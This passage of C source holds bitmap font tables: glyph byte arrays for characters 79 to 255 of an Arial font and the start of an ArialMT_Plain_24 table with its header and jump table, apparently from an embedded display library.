0x00,0x00,0x00,0xC0,0x0F,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x10,0x20,0x00,0x20,0x10,0x00,0xC0,0x0F,  // 79\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x10,0x01,0x00,0xE0,  // 80\n  0x00,0x00,0x00,0xC0,0x0F,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x08,0x50,0x00,0x08,0x50,0x00,0x10,0x20,0x00,0x20,0x70,0x00,0xC0,0x4F,  // 81\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x08,0x02,0x00,0x08,0x06,0x00,0x08,0x1A,0x00,0x10,0x21,0x00,0xE0,0x40, // 82\n  0x00,0x00,0x00,0x60,0x10,0x00,0x90,0x20,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x42,0x00,0x08,0x42,0x00,0x10,0x22,0x00,0x20,0x1C, // 83\n  0x08,0x00,0x00,0x08,0x00,0x00,0x08,0x00,0x00,0x08,0x00,0x00,0xF8,0x7F,0x00,0x08,0x00,0x00,0x08,0x00,0x00,0x08,0x00,0x00,0x08, // 84\n  0x00,0x00,0x00,0xF8,0x1F,0x00,0x00,0x20,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0xF8,0x1F, // 85\n  0x00,0x00,0x00,0x18,0x00,0x00,0xE0,0x00,0x00,0x00,0x07,0x00,0x00,0x18,0x00,0x00,0x60,0x00,0x00,0x18,0x00,0x00,0x07,0x00,0xE0,0x00,0x00,0x18,  // 86\n  0x18,0x00,0x00,0xE0,0x01,0x00,0x00,0x1E,0x00,0x00,0x60,0x00,0x00,0x1C,0x00,0x80,0x03,0x00,0x70,0x00,0x00,0x08,0x00,0x00,0x70,0x00,0x00,0x80,0x03,0x00,0x00,0x1C,0x00,0x00,0x60,0x00,0x00,0x1E,0x00,0xE0,0x01,0x00,0x18, // 87\n  0x00,0x40,0x00,0x08,0x20,0x00,0x10,0x10,0x00,0x60,0x0C,0x00,0x80,0x02,0x00,0x00,0x01,0x00,0x80,0x02,0x00,0x60,0x0C,0x00,0x10,0x10,0x00,0x08,0x20,0x00,0x00,0x40,  // 88\n  0x08,0x00,0x00,0x30,0x00,0x00,0x40,0x00,0x00,0x80,0x01,0x00,0x00,0x7E,0x00,0x80,0x01,0x00,0x40,0x00,0x00,0x30,0x00,0x00,0x08, // 89\n  0x00,0x40,0x00,0x08,0x60,0x00,0x08,0x58,0x00,0x08,0x44,0x00,0x08,0x43,0x00,0x88,0x40,0x00,0x68,0x40,0x00,0x18,0x40,0x00,0x08,0x40,  // 90\n  0x00,0x00,0x00,0xF8,0xFF,0x03,0x08,0x00,0x02,0x08,0x00,0x02,  // 91\n  0x18,0x00,0x00,0xE0,0x01,0x00,0x00,0x1E,0x00,0x00,0x60, // 92\n  0x08,0x00,0x02,0x08,0x00,0x02,0xF8,0xFF,0x03, // 93\n  0x00,0x01,0x00,0xC0,0x00,0x00,0x30,0x00,0x00,0x08,0x00,0x00,0x30,0x00,0x00,0xC0,0x00,0x00,0x00,0x01,  // 94\n  0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x02, // 95\n  0x00,0x00,0x00,0x08,0x00,0x00,0x10, // 96\n  0x00,0x00,0x00,0x00,0x39,0x00,0x80,0x44,0x00,0x40,0x44,0x00,0x40,0x44,0x00,0x40,0x42,0x00,0x40,0x22,0x00,0x80,0x7F, // 97\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x80,0x20,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x80,0x20,0x00,0x00,0x1F, // 98\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x20,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x80,0x20,  // 99\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x20,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x80,0x20,0x00,0xF8,0x7F, // 100\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x24,0x00,0x40,0x44,0x00,0x40,0x44,0x00,0x40,0x44,0x00,0x80,0x24,0x00,0x00,0x17, // 101\n  0x40,0x00,0x00,0xF0,0x7F,0x00,0x48,0x00,0x00,0x48,  // 102\n  0x00,0x00,0x00,0x00,0x1F,0x01,0x80,0x20,0x02,0x40,0x40,0x02,0x40,0x40,0x02,0x40,0x40,0x02,0x80,0x20,0x01,0xC0,0xFF, // 103\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x80,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x80,0x7F,  // 104\n  0x00,0x00,0x00,0xC8,0x7F, // 105\n  0x00,0x00,0x02,0xC8,0xFF,0x01,  // 106\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x00,0x08,0x00,0x00,0x04,0x00,0x00,0x06,0x00,0x00,0x19,0x00,0x80,0x20,0x00,0x40,0x40, // 107\n  0x00,0x00,0x00,0xF8,0x7F, // 108\n  0x00,0x00,0x00,0xC0,0x7F,0x00,0x80,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x80,0x7F,0x00,0x80,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x80,0x7F, // 109\n  0x00,0x00,0x00,0xC0,0x7F,0x00,0x80,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x80,0x7F,  // 110\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x20,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x80,0x20,0x00,0x00,0x1F, // 111\n  0x00,0x00,0x00,0xC0,0xFF,0x03,0x80,0x20,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x80,0x20,0x00,0x00,0x1F, // 112\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x20,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x80,0x20,0x00,0xC0,0xFF,0x03,  // 113\n  0x00,0x00,0x00,0xC0,0x7F,0x00,0x80,0x00,0x00,0x40,0x00,0x00,0x40, // 114\n  0x00,0x00,0x00,0x80,0x23,0x00,0x40,0x44,0x00,0x40,0x44,0x00,0x40,0x44,0x00,0x40,0x44,0x00,0x80,0x38,  // 115\n  0x40,0x00,0x00,0xF0,0x7F,0x00,0x40,0x40,0x00,0x40,0x40, // 116\n  0x00,0x00,0x00,0xC0,0x3F,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0xC0,0x7F,  // 117\n  0xC0,0x00,0x00,0x00,0x03,0x00,0x00,0x1C,0x00,0x00,0x60,0x00,0x00,0x1C,0x00,0x00,0x03,0x00,0xC0, // 118\n  0xC0,0x00,0x00,0x00,0x1F,0x00,0x00,0x60,0x00,0x00,0x1C,0x00,0x00,0x03,0x00,0xC0,0x00,0x00,0x00,0x03,0x00,0x00,0x1C,0x00,0x00,0x60,0x00,0x00,0x1F,0x00,0xC0, // 119\n  0x40,0x40,0x00,0x80,0x20,0x00,0x00,0x1B,0x00,0x00,0x04,0x00,0x00,0x1B,0x00,0x80,0x20,0x00,0x40,0x40,  // 120\n  0xC0,0x01,0x00,0x00,0x06,0x02,0x00,0x38,0x02,0x00,0xE0,0x01,0x00,0x38,0x00,0x00,0x07,0x00,0xC0, // 121\n  0x40,0x40,0x00,0x40,0x60,0x00,0x40,0x58,0x00,0x40,0x44,0x00,0x40,0x43,0x00,0xC0,0x40,0x00,0x40,0x40,  // 122\n  0x00,0x04,0x00,0x00,0x04,0x00,0xF0,0xFB,0x01,0x08,0x00,0x02,0x08,0x00,0x02, // 123\n  0x00,0x00,0x00,0xF8,0xFF,0x03,  // 124\n  0x08,0x00,0x02,0x08,0x00,0x02,0xF0,0xFB,0x01,0x00,0x04,0x00,0x00,0x04,  // 125\n  0x00,0x02,0x00,0x00,0x01,0x00,0x00,0x01,0x00,0x00,0x01,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x01, // 126\n  0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xFF,0x03, // 161\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x20,0x03,0x40,0xF0,0x00,0x40,0x4E,0x00,0xC0,0x41,0x00,0xB8,0x20,0x00,0x00,0x11, // 162\n  0x00,0x41,0x00,0xE0,0x31,0x00,0x10,0x2F,0x00,0x08,0x21,0x00,0x08,0x21,0x00,0x08,0x40,0x00,0x10,0x40,0x00,0x20,0x20, // 163\n  0x00,0x00,0x00,0x40,0x0B,0x00,0x80,0x04,0x00,0x40,0x08,0x00,0x40,0x08,0x00,0x80,0x04,0x00,0x40,0x0B,  // 164\n  0x08,0x0A,0x00,0x10,0x0A,0x00,0x60,0x0A,0x00,0x80,0x0B,0x00,0x00,0x7E,0x00,0x80,0x0B,0x00,0x60,0x0A,0x00,0x10,0x0A,0x00,0x08,0x0A,  // 165\n  0x00,0x00,0x00,0xF8,0xF1,0x03,  // 166\n  0x00,0x86,0x00,0x70,0x09,0x01,0xC8,0x10,0x02,0x88,0x10,0x02,0x08,0x21,0x02,0x08,0x61,0x02,0x30,0xD2,0x01,0x00,0x0C, // 167\n  0x08,0x00,0x00,0x00,0x00,0x00,0x08, // 168\n  0xC0,0x0F,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0xC8,0x47,0x00,0x28,0x48,0x00,0x28,0x48,0x00,0x28,0x48,0x00,0x28,0x48,0x00,0x48,0x44,0x00,0x10,0x20,0x00,0x20,0x10,0x00,0xC0,0x0F, // 169\n  0xD0,0x00,0x00,0x48,0x01,0x00,0x28,0x01,0x00,0x28,0x01,0x00,0xF0,0x01,  // 170\n  0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x1B,0x00,0x80,0x20,0x00,0x00,0x04,0x00,0x00,0x1B,0x00,0x80,0x20,  // 171\n  0x00,0x00,0x00,0x80,0x00,0x00,0x80,0x00,0x00,0x80,0x00,0x00,0x80,0x00,0x00,0x80,0x00,0x00,0x80,0x00,0x00,0x80,0x0F, // 172\n  0x00,0x08,0x00,0x00,0x08,0x00,0x00,0x08,0x00,0x00,0x08, // 173\n  0xC0,0x0F,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0xE8,0x4F,0x00,0x28,0x41,0x00,0x28,0x41,0x00,0x28,0x43,0x00,0x28,0x45,0x00,0xC8,0x48,0x00,0x10,0x20,0x00,0x20,0x10,0x00,0xC0,0x0F, // 174\n  0x04,0x00,0x00,0x04,0x00,0x00,0x04,0x00,0x00,0x04,0x00,0x00,0x04,0x00,0x00,0x04,0x00,0x00,0x04,0x00,0x00,0x04,0x00,0x00,0x04, // 175\n  0x00,0x00,0x00,0x30,0x00,0x00,0x48,0x00,0x00,0x48,0x00,0x00,0x30, // 176\n  0x00,0x00,0x00,0x00,0x41,0x00,0x00,0x41,0x00,0x00,0x41,0x00,0xE0,0x4F,0x00,0x00,0x41,0x00,0x00,0x41,0x00,0x00,0x41, // 177\n  0x10,0x01,0x00,0x88,0x01,0x00,0x48,0x01,0x00,0x48,0x01,0x00,0x30,0x01,  // 178\n  0x90,0x00,0x00,0x08,0x01,0x00,0x08,0x01,0x00,0x28,0x01,0x00,0xD8, // 179\n  0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x08,  // 180\n  0x00,0x00,0x00,0xC0,0xFF,0x03,0x00,0x20,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0xC0,0x7F, // 181\n  0xF0,0x00,0x00,0xF8,0x00,0x00,0xF8,0x01,0x00,0xF8,0x01,0x00,0xF8,0xFF,0x03,0x08,0x00,0x00,0x08,0x00,0x00,0xF8,0xFF,0x03,0x08, // 182\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,  // 183\n  0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x80,0x02,0x00,0x00,0x03,  // 184\n  0x00,0x00,0x00,0x10,0x00,0x00,0x08,0x00,0x00,0xF8,0x01, // 185\n  0xF0,0x00,0x00,0x08,0x01,0x00,0x08,0x01,0x00,0x08,0x01,0x00,0xF0, // 186\n  0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x20,0x00,0x00,0x1B,0x00,0x00,0x04,0x00,0x80,0x20,0x00,0x00,0x1B,0x00,0x00,0x04, // 187\n  0x00,0x00,0x00,0x10,0x00,0x00,0x08,0x40,0x00,0xF8,0x21,0x00,0x00,0x10,0x00,0x00,0x0C,0x00,0x00,0x02,0x00,0x80,0x01,0x00,0x40,0x30,0x00,0x30,0x28,0x00,0x08,0x24,0x00,0x00,0x7E,0x00,0x00,0x20,  // 188\n  0x00,0x00,0x00,0x10,0x00,0x00,0x08,0x40,0x00,0xF8,0x31,0x00,0x00,0x08,0x00,0x00,0x04,0x00,0x00,0x03,0x00,0x80,0x00,0x00,0x60,0x44,0x00,0x10,0x62,0x00,0x08,0x52,0x00,0x00,0x52,0x00,0x00,0x4C,  // 189\n  0x90,0x00,0x00,0x08,0x01,0x00,0x08,0x41,0x00,0x28,0x21,0x00,0xD8,0x18,0x00,0x00,0x04,0x00,0x00,0x03,0x00,0x80,0x00,0x00,0x40,0x30,0x00,0x30,0x28,0x00,0x08,0x24,0x00,0x00,0x7E,0x00,0x00,0x20,  // 190\n  0x00,0x00,0x00,0x00,0xE0,0x00,0x00,0x10,0x01,0x00,0x08,0x02,0x40,0x07,0x02,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x01,0x00,0xC0,  // 191\n  0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x1C,0x00,0x80,0x07,0x00,0x71,0x04,0x00,0x0A,0x04,0x00,0x70,0x04,0x00,0x80,0x07,0x00,0x00,0x1C,0x00,0x00,0x60, // 192\n  0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x1C,0x00,0x80,0x07,0x00,0x70,0x04,0x00,0x0A,0x04,0x00,0x71,0x04,0x00,0x80,0x07,0x00,0x00,0x1C,0x00,0x00,0x60, // 193\n  0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x1C,0x00,0x80,0x07,0x00,0x72,0x04,0x00,0x09,0x04,0x00,0x71,0x04,0x00,0x82,0x07,0x00,0x00,0x1C,0x00,0x00,0x60, // 194\n  0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x1C,0x00,0x80,0x07,0x00,0x72,0x04,0x00,0x09,0x04,0x00,0x72,0x04,0x00,0x81,0x07,0x00,0x00,0x1C,0x00,0x00,0x60, // 195\n  0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x1C,0x00,0x80,0x07,0x00,0x72,0x04,0x00,0x08,0x04,0x00,0x72,0x04,0x00,0x80,0x07,0x00,0x00,0x1C,0x00,0x00,0x60, // 196\n  0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x1C,0x00,0x80,0x07,0x00,0x7E,0x04,0x00,0x0A,0x04,0x00,0x7E,0x04,0x00,0x80,0x07,0x00,0x00,0x1C,0x00,0x00,0x60, // 197\n  0x00,0x60,0x00,0x00,0x18,0x00,0x00,0x06,0x00,0x80,0x05,0x00,0x60,0x04,0x00,0x18,0x04,0x00,0x08,0x04,0x00,0x08,0x04,0x00,0xF8,0x7F,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,  // 198\n  0x00,0x00,0x00,0xC0,0x0F,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0x08,0x40,0x00,0x08,0x40,0x02,0x08,0xC0,0x02,0x08,0x40,0x03,0x08,0x40,0x00,0x10,0x20,0x00,0x20,0x10,  // 199\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x09,0x41,0x00,0x0A,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x40, // 200\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x0A,0x41,0x00,0x09,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x40, // 201\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x0A,0x41,0x00,0x09,0x41,0x00,0x09,0x41,0x00,0x0A,0x41,0x00,0x08,0x41,0x00,0x08,0x40, // 202\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x0A,0x41,0x00,0x08,0x41,0x00,0x0A,0x41,0x00,0x08,0x41,0x00,0x08,0x41,0x00,0x08,0x40, // 203\n  0x01,0x00,0x00,0xFA,0x7F, // 204\n  0x00,0x00,0x00,0xFA,0x7F,0x00,0x01, // 205\n  0x02,0x00,0x00,0xF9,0x7F,0x00,0x01,0x00,0x00,0x02,  // 206\n  0x02,0x00,0x00,0xF8,0x7F,0x00,0x02, // 207\n  0x00,0x02,0x00,0xF8,0x7F,0x00,0x08,0x42,0x00,0x08,0x42,0x00,0x08,0x42,0x00,0x08,0x42,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x10,0x20,0x00,0x20,0x10,0x00,0xC0,0x0F,  // 208\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x10,0x00,0x00,0x60,0x00,0x00,0x82,0x00,0x00,0x01,0x03,0x00,0x02,0x04,0x00,0x01,0x18,0x00,0x00,0x20,0x00,0xF8,0x7F, // 209\n  0x00,0x00,0x00,0xC0,0x0F,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0x08,0x40,0x00,0x09,0x40,0x00,0x0A,0x40,0x00,0x08,0x40,0x00,0x10,0x20,0x00,0x20,0x10,0x00,0xC0,0x0F,  // 210\n  0x00,0x00,0x00,0xC0,0x0F,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0x08,0x40,0x00,0x0A,0x40,0x00,0x09,0x40,0x00,0x08,0x40,0x00,0x10,0x20,0x00,0x20,0x10,0x00,0xC0,0x0F,  // 211\n  0x00,0x00,0x00,0xC0,0x0F,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0x0A,0x40,0x00,0x09,0x40,0x00,0x09,0x40,0x00,0x0A,0x40,0x00,0x10,0x20,0x00,0x20,0x10,0x00,0xC0,0x0F,  // 212\n  0x00,0x00,0x00,0xC0,0x0F,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0x0A,0x40,0x00,0x09,0x40,0x00,0x0A,0x40,0x00,0x09,0x40,0x00,0x10,0x20,0x00,0x20,0x10,0x00,0xC0,0x0F,  // 213\n  0x00,0x00,0x00,0xC0,0x0F,0x00,0x20,0x10,0x00,0x10,0x20,0x00,0x08,0x40,0x00,0x0A,0x40,0x00,0x08,0x40,0x00,0x0A,0x40,0x00,0x10,0x20,0x00,0x20,0x10,0x00,0xC0,0x0F,  // 214\n  0x00,0x00,0x00,0x40,0x10,0x00,0x80,0x08,0x00,0x00,0x05,0x00,0x00,0x07,0x00,0x00,0x05,0x00,0x80,0x08,0x00,0x40,0x10, // 215\n  0x00,0x00,0x00,0xC0,0x4F,0x00,0x20,0x30,0x00,0x10,0x30,0x00,0x08,0x4C,0x00,0x08,0x42,0x00,0x08,0x41,0x00,0xC8,0x40,0x00,0x30,0x20,0x00,0x30,0x10,0x00,0xC8,0x0F,  // 216\n  0x00,0x00,0x00,0xF8,0x1F,0x00,0x00,0x20,0x00,0x00,0x40,0x00,0x01,0x40,0x00,0x02,0x40,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0xF8,0x1F, // 217\n  0x00,0x00,0x00,0xF8,0x1F,0x00,0x00,0x20,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x02,0x40,0x00,0x01,0x40,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0xF8,0x1F, // 218\n  0x00,0x00,0x00,0xF8,0x1F,0x00,0x00,0x20,0x00,0x00,0x40,0x00,0x02,0x40,0x00,0x01,0x40,0x00,0x01,0x40,0x00,0x02,0x40,0x00,0x00,0x20,0x00,0xF8,0x1F, // 219\n  0x00,0x00,0x00,0xF8,0x1F,0x00,0x00,0x20,0x00,0x00,0x40,0x00,0x02,0x40,0x00,0x00,0x40,0x00,0x02,0x40,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0xF8,0x1F, // 220\n  0x08,0x00,0x00,0x30,0x00,0x00,0x40,0x00,0x00,0x80,0x01,0x00,0x02,0x7E,0x00,0x81,0x01,0x00,0x40,0x00,0x00,0x30,0x00,0x00,0x08, // 221\n  0x00,0x00,0x00,0xF8,0x7F,0x00,0x20,0x10,0x00,0x20,0x10,0x00,0x20,0x10,0x00,0x20,0x10,0x00,0x20,0x10,0x00,0x20,0x10,0x00,0x40,0x08,0x00,0x80,0x07, // 222\n  0x00,0x00,0x00,0xE0,0x7F,0x00,0x10,0x00,0x00,0x08,0x20,0x00,0x88,0x43,0x00,0x70,0x42,0x00,0x00,0x44,0x00,0x00,0x38, // 223\n  0x00,0x00,0x00,0x00,0x39,0x00,0x80,0x44,0x00,0x40,0x44,0x00,0x48,0x44,0x00,0x50,0x42,0x00,0x40,0x22,0x00,0x80,0x7F, // 224\n  0x00,0x00,0x00,0x00,0x39,0x00,0x80,0x44,0x00,0x40,0x44,0x00,0x50,0x44,0x00,0x48,0x42,0x00,0x40,0x22,0x00,0x80,0x7F, // 225\n  0x00,0x00,0x00,0x00,0x39,0x00,0x80,0x44,0x00,0x50,0x44,0x00,0x48,0x44,0x00,0x48,0x42,0x00,0x50,0x22,0x00,0x80,0x7F, // 226\n  0x00,0x00,0x00,0x00,0x39,0x00,0x80,0x44,0x00,0x50,0x44,0x00,0x48,0x44,0x00,0x50,0x42,0x00,0x48,0x22,0x00,0x80,0x7F, // 227\n  0x00,0x00,0x00,0x00,0x39,0x00,0x80,0x44,0x00,0x50,0x44,0x00,0x40,0x44,0x00,0x50,0x42,0x00,0x40,0x22,0x00,0x80,0x7F, // 228\n  0x00,0x00,0x00,0x00,0x39,0x00,0x80,0x44,0x00,0x5C,0x44,0x00,0x54,0x44,0x00,0x5C,0x42,0x00,0x40,0x22,0x00,0x80,0x7F, // 229\n  0x00,0x00,0x00,0x00,0x39,0x00,0x80,0x44,0x00,0x40,0x44,0x00,0x40,0x44,0x00,0x40,0x42,0x00,0x40,0x22,0x00,0x80,0x3F,0x00,0x80,0x24,0x00,0x40,0x44,0x00,0x40,0x44,0x00,0x40,0x44,0x00,0x80,0x24,0x00,0x00,0x17, // 230\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x20,0x00,0x40,0x40,0x02,0x40,0xC0,0x02,0x40,0x40,0x03,0x80,0x20,  // 231\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x24,0x00,0x48,0x44,0x00,0x50,0x44,0x00,0x40,0x44,0x00,0x80,0x24,0x00,0x00,0x17, // 232\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x24,0x00,0x40,0x44,0x00,0x50,0x44,0x00,0x48,0x44,0x00,0x80,0x24,0x00,0x00,0x17, // 233\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x24,0x00,0x50,0x44,0x00,0x48,0x44,0x00,0x48,0x44,0x00,0x90,0x24,0x00,0x00,0x17, // 234\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x24,0x00,0x50,0x44,0x00,0x40,0x44,0x00,0x50,0x44,0x00,0x80,0x24,0x00,0x00,0x17, // 235\n  0x08,0x00,0x00,0xD0,0x7F, // 236\n  0x00,0x00,0x00,0xD0,0x7F,0x00,0x08, // 237\n  0x10,0x00,0x00,0xC8,0x7F,0x00,0x08,0x00,0x00,0x10,  // 238\n  0x10,0x00,0x00,0xC0,0x7F,0x00,0x10, // 239\n  0x00,0x00,0x00,0x00,0x1F,0x00,0xA0,0x20,0x00,0x68,0x40,0x00,0x58,0x40,0x00,0x70,0x40,0x00,0xE8,0x20,0x00,0x00,0x1F, // 240\n  0x00,0x00,0x00,0xC0,0x7F,0x00,0x90,0x00,0x00,0x48,0x00,0x00,0x50,0x00,0x00,0x48,0x00,0x00,0x80,0x7F,  // 241\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x20,0x00,0x48,0x40,0x00,0x50,0x40,0x00,0x40,0x40,0x00,0x80,0x20,0x00,0x00,0x1F, // 242\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x20,0x00,0x40,0x40,0x00,0x50,0x40,0x00,0x48,0x40,0x00,0x80,0x20,0x00,0x00,0x1F, // 243\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x20,0x00,0x50,0x40,0x00,0x48,0x40,0x00,0x48,0x40,0x00,0x90,0x20,0x00,0x00,0x1F, // 244\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x20,0x00,0x50,0x40,0x00,0x48,0x40,0x00,0x50,0x40,0x00,0x88,0x20,0x00,0x00,0x1F, // 245\n  0x00,0x00,0x00,0x00,0x1F,0x00,0x80,0x20,0x00,0x50,0x40,0x00,0x40,0x40,0x00,0x50,0x40,0x00,0x80,0x20,0x00,0x00,0x1F, // 246\n  0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x80,0x0A,0x00,0x00,0x02,0x00,0x00,0x02,0x00,0x00,0x02, // 247\n  0x00,0x00,0x00,0x00,0x5F,0x00,0x80,0x30,0x00,0x40,0x48,0x00,0x40,0x44,0x00,0x40,0x42,0x00,0x80,0x21,0x00,0x40,0x1F, // 248\n  0x00,0x00,0x00,0xC0,0x3F,0x00,0x00,0x40,0x00,0x08,0x40,0x00,0x10,0x40,0x00,0x00,0x20,0x00,0xC0,0x7F,  // 249\n  0x00,0x00,0x00,0xC0,0x3F,0x00,0x00,0x40,0x00,0x00,0x40,0x00,0x10,0x40,0x00,0x08,0x20,0x00,0xC0,0x7F,  // 250\n  0x00,0x00,0x00,0xC0,0x3F,0x00,0x10,0x40,0x00,0x08,0x40,0x00,0x08,0x40,0x00,0x10,0x20,0x00,0xC0,0x7F,  // 251\n  0x00,0x00,0x00,0xD0,0x3F,0x00,0x00,0x40,0x00,0x10,0x40,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0xC0,0x7F,  // 252\n  0xC0,0x01,0x00,0x00,0x06,0x02,0x00,0x38,0x02,0x10,0xE0,0x01,0x08,0x38,0x00,0x00,0x07,0x00,0xC0, // 253\n  0x00,0x00,0x00,0xF8,0xFF,0x03,0x80,0x20,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x40,0x40,0x00,0x80,0x20,0x00,0x00,0x1F, // 254\n  0xC0,0x01,0x00,0x00,0x06,0x02,0x10,0x38,0x02,0x00,0xE0,0x01,0x10,0x38,0x00,0x00,0x07,0x00,0xC0  // 255\n};\nconst uint8_t ArialMT_Plain_24[] PROGMEM = {\n  0x18, // Width: 24\n  0x1C, // Height: 28\n  0x20, // First Char: 32\n  0xE0, // Numbers of Chars: 224\n\n  // Jump Table:\n  0xFF, 0xFF, 0x00, 0x07,  // 32:65535\n  0x00, 0x00, 0x13, 0x07,  // 33:0\n  0x00, 0x13, 0x1A, 0x09,  // 34:19\n  0x00, 0x2D, 0x33, 0x0D,  // 35:45\n  0x00, 0x60, 0x2F, 0x0D,  // 36:96\n  0x00, 0x8F, 0x4F, 0x15,  // 37:143\n  0x00, 0xDE, 0x3B, 0x10,  // 38:222\n  0x01, 0x19, 0x0A, 0x05,  // 39:281\n  0x01, 0x23, 0x1C, 0x08,  // 40:291\n  0x01, 0x3F, 0x1B, 0x08,  // 41:319\n  0x01, 0x5A, 0x21, 0x09,  // 42:346\n  0x01, 0x7B, 0x32, 0x0E,  // 43:379\n  0x01, 0xAD, 0x10, 0x07,  // 44:429\n  0x01, 0xBD, 0x1B, 0x08,  // 45:445\n  0x01, 0xD8, 0x0F, 0x07,  // 46:472\n  0x01, 0xE7, 0x19, 0x07,  // 47:487\n  0x02, 0x00, 0x2F, 0x0D,  // 48:512\n  0x02, 0x2F, 0x23, 0x0D,  // 49:559\n  0x02, 0x52, 0x2F, 0x0D,  // 50:594\n  0x02, 0x81, 0x2F, 0x0D,  // 51:641\n  0x02, 0xB0, 0x2F, 0x0D,  // 52:688\n  0x02, 0xDF, 0x2F, 0x0D,  // 53:735\n  0x03, 0x0E, 0x2F, 0x0D,  // 54:782\n  0x03, 0x3D, 0x2D, 0x0D,  // 55:829\n  0x03, 0x6A, 0x2F, 0x0D,  // 56:874\n  0x03, 0x99, 0x2F, 0x0D,  // 57:921\n  0x03, 0xC8, 0x0F, 0x07,  // 58:968\n  0x03, 0xD7, 0x10, 0x07,  // 59:983\n  0x03, 0xE7, 0x2F, 0x0E,  // 60:999\n  0x04, 0x16, 0x2F, 0x0E,  // 61:1046\n  0x04, 0x45, 0x2E, 0x0E,  // 62:1093\n  0x04, 0x73, 0x2E, 0x0D,  // 63:1139\n  0x04, 0xA1, 0x5B, 0x18,  // 